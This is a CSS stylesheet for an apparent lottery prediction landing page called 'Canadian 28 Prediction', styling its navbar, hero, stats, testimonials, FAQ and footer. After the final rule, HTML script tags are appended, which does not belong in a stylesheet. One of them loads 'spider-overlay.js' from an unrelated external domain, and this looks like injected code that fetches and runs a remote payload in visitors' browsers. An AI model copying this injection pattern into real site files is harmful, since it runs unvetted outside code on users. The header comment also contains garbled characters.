﻿/* ============================================================
   Canadian 28 Prediction - Flat Minimal 2.0
   Primary: indigo-600 (#4f46e5) 鈥?ONLY accent
   Everything else: grayscale
   ============================================================ */

/* ---------- CSS Variables ---------- */
:root {
  --accent: #4f46e5;
  --accent-light: #818cf8;
  --accent-dark: #3730a3;
  --black: #111827;
  --gray-900: #1f2937;
  --gray-800: #374151;
  --gray-700: #4b5563;
  --gray-600: #6b7280;
  --gray-500: #9ca3af;
  --gray-400: #c9cdd4;
  --gray-300: #d1d5db;
  --gray-200: #e5e7eb;
  --gray-100: #f3f4f6;
  --gray-50: #f9fafb;
  --white: #ffffff;
  --font-sans: 'Inter', 'Noto Sans SC', system-ui, -apple-system, sans-serif;
  --max-w: 1200px;
  --section-py: 6rem;
}

/* ---------- Reset & Base ---------- */
*, *::before, *::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
}

html {
  scroll-behavior: smooth;
  -webkit-text-size-adjust: 100%;
}

body {
  font-family: var(--font-sans);
  font-weight: 300;
  color: var(--gray-900);
  background: var(--white);
  line-height: 1.7;
  letter-spacing: 0.01em;
}

/* ---------- Typography ---------- */
h1, h2, h3, h4, h5, h6 {
  font-weight: 300;
  letter-spacing: -0.02em;
  line-height: 1.2;
  color: var(--black);
}

h1 { font-size: 3.5rem; }
h2 { font-size: 2.5rem; }
h3 { font-size: 1.25rem; }

p {
  color: var(--gray-600);
  font-weight: 300;
}

a {
  color: var(--accent);
  text-decoration: none;
  transition: color 0.2s;
}

a:hover {
  color: var(--accent-dark);
}

/* ---------- Section ---------- */
.section {
  padding: var(--section-py) 0;
}

.section-label {
  font-size: 0.75rem;
  font-weight: 500;
  text-transform: uppercase;
  letter-spacing: 0.2em;
  color: var(--accent);
  margin-bottom: 1rem;
}

.section-title {
  margin-bottom: 1rem;
}

.section-desc {
  max-width: 560px;
  font-size: 1.1rem;
  color: var(--gray-500);
  margin-bottom: 3rem;
}

/* ---------- Container ---------- */
.container {
  width: 100%;
  max-width: var(--max-w);
  margin: 0 auto;
  padding: 0 2rem;
}

/* ---------- Navbar ---------- */
.navbar {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  z-index: 1000;
  background: rgba(255,255,255,0.95);
  border-bottom: 1px solid var(--gray-200);
  transition: all 0.3s;
}

.navbar.scrolled {
  background: var(--white);
  border-bottom: 2px solid var(--gray-200);
}

.navbar-inner {
  display: flex;
  align-items: center;
  justify-content: space-between;
  height: 70px;
  max-width: var(--max-w);
  margin: 0 auto;
  padding: 0 2rem;
}

.nav-logo {
  font-size: 1.25rem;
  font-weight: 400;
  letter-spacing: -0.02em;
  color: var(--black);
  display: flex;
  align-items: center;
  gap: 0.5rem;
}

.nav-logo .dot {
  width: 10px;
  height: 10px;
  background: var(--accent);
  display: inline-block;
}

.nav-links {
  display: flex;
  gap: 2.5rem;
  list-style: none;
}

.nav-links a {
  color: var(--gray-600);
  font-size: 0.875rem;
  font-weight: 400;
  letter-spacing: 0.04em;
  text-transform: uppercase;
  position: relative;
}

.nav-links a::after {
  content: '';
  position: absolute;
  bottom: -4px;
  left: 0;
  width: 0;
  height: 1px;
  background: var(--accent);
  transition: width 0.3s;
}

.nav-links a:hover::after,
.nav-links a.active::after {
  width: 100%;
}

.nav-links a:hover,
.nav-links a.active {
  color: var(--black);
}

.nav-cta {
  background: var(--accent);
  color: #fff !important;
  padding: 0.5rem 1.5rem;
  font-size: 0.8rem;
  font-weight: 500;
  letter-spacing: 0.06em;
  text-transform: uppercase;
  border: none;
  cursor: pointer;
  transition: background 0.2s;
}

.nav-cta:hover {
  background: var(--accent-dark);
}

/* Hamburger */
.hamburger {
  display: none;
  flex-direction: column;
  gap: 5px;
  cursor: pointer;
  background: none;
  border: none;
  padding: 5px;
  z-index: 1001;
}

.hamburger span {
  width: 24px;
  height: 1.5px;
  background: var(--black);
  transition: all 0.3s;
}

.hamburger.active span:nth-child(1) {
  transform: rotate(45deg) translate(5px, 5px);
}

.hamburger.active span:nth-child(2) {
  opacity: 0;
}

.hamburger.active span:nth-child(3) {
  transform: rotate(-45deg) translate(5px, -5px);
}

/* ---------- Hero ---------- */
.hero {
  padding-top: 10rem;
  padding-bottom: 5rem;
}

.hero-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 5rem;
  align-items: center;
}

.hero-content h1 {
  margin-bottom: 1.5rem;
}

.hero-content h1 .highlight {
  color: var(--accent);
  position: relative;
}

.hero-content p {
  font-size: 1.15rem;
  margin-bottom: 2.5rem;
  color: var(--gray-500);
}

.hero-buttons {
  display: flex;
  gap: 1rem;
  flex-wrap: wrap;
}

.btn-primary {
  display: inline-block;
  background: var(--accent);
  color: #fff;
  padding: 0.9rem 2.2rem;
  font-size: 0.85rem;
  font-weight: 500;
  letter-spacing: 0.06em;
  text-transform: uppercase;
  border: none;
  cursor: pointer;
  transition: background 0.2s;
}

.btn-primary:hover {
  background: var(--accent-dark);
  color: #fff;
}

.btn-secondary {
  display: inline-block;
  background: transparent;
  color: var(--black);
  padding: 0.9rem 2.2rem;
  font-size: 0.85rem;
  font-weight: 500;
  letter-spacing: 0.06em;
  text-transform: uppercase;
  border: 1px solid var(--gray-300);
  cursor: pointer;
  transition: all 0.2s;
}

.btn-secondary:hover {
  border-color: var(--black);
  color: var(--black);
}

.hero-image-wrap {
  position: relative;
}

.hero-image-wrap img {
  width: 100%;
  height: auto;
  display: block;
}

/* Large circle decoration */
.geo-circle {
  position: absolute;
  border-radius: 50%;
  background: var(--gray-100);
  z-index: -1;
}

.geo-circle.lg {
  width: 300px;
  height: 300px;
  top: -40px;
  right: -40px;
}

.geo-circle.sm {
  width: 80px;
  height: 80px;
  bottom: -20px;
  left: -20px;
  background: var(--accent);
}

/* ---------- Features ---------- */
.features-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 3rem;
}

.feature-card {
  padding: 2.5rem 0;
  border-top: 2px solid var(--gray-200);
}

.feature-icon-circle {
  width: 52px;
  height: 52px;
  background: var(--gray-100);
  display: flex;
  align-items: center;
  justify-content: center;
  margin-bottom: 1.5rem;
}

.feature-icon-circle i {
  color: var(--accent);
  font-size: 1.25rem;
}

.feature-card h3 {
  margin-bottom: 0.75rem;
  font-weight: 400;
}

.feature-card p {
  font-size: 0.95rem;
}

/* ---------- Stats ---------- */
.stats-section {
  background: var(--black);
  color: #fff;
}

.stats-section .section-label {
  color: var(--accent-light);
}

.stats-section .section-title {
  color: #fff;
}

.stats-section .section-desc {
  color: var(--gray-500);
}

.stats-grid {
  display: grid;
  grid-template-columns: repeat(4, 1fr);
  gap: 2rem;
  text-align: center;
}

.stat-item {
  padding: 2rem 0;
}

.stat-number {
  font-size: 3.5rem;
  font-weight: 200;
  color: #fff;
  letter-spacing: -0.03em;
  line-height: 1;
  margin-bottom: 0.5rem;
}

.stat-label {
  font-size: 0.8rem;
  font-weight: 400;
  text-transform: uppercase;
  letter-spacing: 0.15em;
  color: var(--gray-500);
}

.stat-plus {
  color: var(--accent-light);
}

/* ---------- Testimonials ---------- */
.testimonials-grid {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 2.5rem;
}

.testimonial-card {
  padding: 2.5rem;
  border: 1px solid var(--gray-200);
}

.testimonial-card p {
  font-size: 0.95rem;
  font-style: italic;
  margin-bottom: 1.5rem;
  color: var(--gray-700);
}

.testimonial-author {
  display: flex;
  align-items: center;
  gap: 1rem;
}

.testimonial-author img {
  width: 48px;
  height: 48px;
  object-fit: cover;
}

.testimonial-author .name {
  font-size: 0.9rem;
  font-weight: 500;
  color: var(--black);
}

.testimonial-author .role {
  font-size: 0.75rem;
  color: var(--gray-500);
}

/* ---------- FAQ Accordion ---------- */
.faq-list {
  max-width: 720px;
  margin: 0 auto;
}

.faq-item {
  border-bottom: 1px solid var(--gray-200);
}

.faq-question {
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  padding: 1.5rem 0;
  background: none;
  border: none;
  cursor: pointer;
  font-size: 1.05rem;
  font-weight: 400;
  color: var(--black);
  text-align: left;
  font-family: var(--font-sans);
  letter-spacing: 0.01em;
}

.faq-question span {
  font-size: 1.5rem;
  font-weight: 200;
  color: var(--accent);
  transition: transform 0.3s;
}

.faq-item.active .faq-question span {
  transform: rotate(45deg);
}

.faq-answer {
  max-height: 0;
  overflow: hidden;
  transition: max-height 0.4s ease, padding 0.4s ease;
}

.faq-item.active .faq-answer {
  max-height: 300px;
  padding-bottom: 1.5rem;
}

.faq-answer p {
  font-size: 0.95rem;
  color: var(--gray-600);
}

/* ---------- CTA ---------- */
.cta-section {
  background: var(--accent);
  color: #fff;
  text-align: center;
}

.cta-section .section-title {
  color: #fff;
}

.cta-section .section-desc {
  color: rgba(255,255,255,0.75);
  margin: 0 auto 3rem;
}

.cta-section .btn-primary {
  background: #fff;
  color: var(--accent);
}

.cta-section .btn-primary:hover {
  background: var(--gray-100);
}

.cta-geo {
  display: inline-block;
  width: 120px;
  height: 120px;
  border: 2px solid rgba(255,255,255,0.2);
  margin-bottom: 2rem;
}

/* ---------- Footer ---------- */
.footer {
  background: var(--black);
  color: var(--gray-500);
  padding: 4rem 0 2rem;
}

.footer-grid {
  display: grid;
  grid-template-columns: 2fr 1fr 1fr 1fr;
  gap: 3rem;
  margin-bottom: 3rem;
}

.footer h4 {
  color: #fff;
  font-size: 0.8rem;
  font-weight: 500;
  text-transform: uppercase;
  letter-spacing: 0.15em;
  margin-bottom: 1.5rem;
}

.footer-brand p {
  font-size: 0.9rem;
  margin-top: 1rem;
}

.footer-links {
  list-style: none;
}

.footer-links li {
  margin-bottom: 0.6rem;
}

.footer-links a {
  color: var(--gray-500);
  font-size: 0.875rem;
  font-weight: 300;
}

.footer-links a:hover {
  color: #fff;
}

.footer-bottom {
  border-top: 1px solid var(--gray-800);
  padding-top: 2rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-size: 0.8rem;
}

.footer-social {
  display: flex;
  gap: 1.2rem;
}

.footer-social a {
  color: var(--gray-500);
  font-size: 1.1rem;
}

.footer-social a:hover {
  color: #fff;
}

/* ---------- Mobile Nav ---------- */
@media (max-width: 768px) {
  .nav-links {
    position: fixed;
    top: 0;
    right: -100%;
    width: 280px;
    height: 100vh;
    background: var(--white);
    flex-direction: column;
    padding: 6rem 2rem 2rem;
    gap: 1.5rem;
    transition: right 0.4s;
    border-left: 1px solid var(--gray-200);
  }

  .nav-links.open {
    right: 0;
  }

  .hamburger {
    display: flex;
  }

  .nav-cta {
    display: inline-block;
    margin-top: 1rem;
  }

  .hero-grid {
    grid-template-columns: 1fr;
    gap: 3rem;
  }

  .hero-content h1 {
    font-size: 2.5rem;
  }

  .features-grid {
    grid-template-columns: 1fr 1fr;
  }

  .stats-grid {
    grid-template-columns: 1fr 1fr;
  }

  .testimonials-grid {
    grid-template-columns: 1fr;
  }

  .footer-grid {
    grid-template-columns: 1fr 1fr;
  }

  .footer-bottom {
    flex-direction: column;
    gap: 1rem;
    text-align: center;
  }
}

@media (max-width: 480px) {
  h1 { font-size: 2rem; }
  h2 { font-size: 1.75rem; }

  .features-grid,
  .stats-grid {
    grid-template-columns: 1fr;
  }

  .hero-buttons {
    flex-direction: column;
  }

  .footer-grid {
    grid-template-columns: 1fr;
  }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

